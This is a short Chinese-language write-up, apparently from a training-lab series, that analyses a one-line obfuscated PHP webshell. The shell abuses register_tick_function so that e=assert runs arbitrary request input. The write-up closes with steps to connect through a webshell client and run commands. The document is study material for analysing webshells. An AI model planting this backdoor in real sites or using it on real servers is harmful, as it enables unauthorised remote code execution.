WebShell代碼分析溯源(十一)
一、一句話變形馬樣本
<?php $e = $_REQUEST['e'];declare(ticks=1);register_tick_function ($e, $_REQUEST['GET']);?>
二、代碼分析
1、調整代碼格式
2、分析代碼
2.1、首先使用REQUEST方法接收url中e參數傳遞的值, 然后執行declare函數和register_tick_function回調函數。沒執行ticks=1行代碼,就執行一次register_tick_function函數中的代碼。
注: register_tick_function函數,這是每個tick上注冊一個執行函數,必須要和declare流程控制機制合並使用。Tick是一個在declare代碼段中解釋器每執行n條低級語句就會發生的事件。n的值是在declare中的directive部分用ticks=n來指定的,在每個tick中出現的事件是由register_tick_function()來指定的。
參考: https://www.php.net/manual/zh/function.register-tick-function.php
2.2、register_tick_function可以看做一個回調函數,第二個參數,就是為該回調的函數傳參用的,因此可以構造e=assert,此時就變成了assert($_REQUEST['GET'])。
三、漏洞環境搭建
1、這里使用在線學習平台墨者學院中的實驗環境(WebShell代碼分析溯源(第10題)),地址: https://www.mozhe.cn/bug/detail/b1gyYnp0MVRtVEpoWXV3TEtuMjZSZz09bW96aGUmozhe
2、代碼環境,下載代碼
3、分析(上面已經分析過了)
4、使用菜刀連接
5、執行一些命令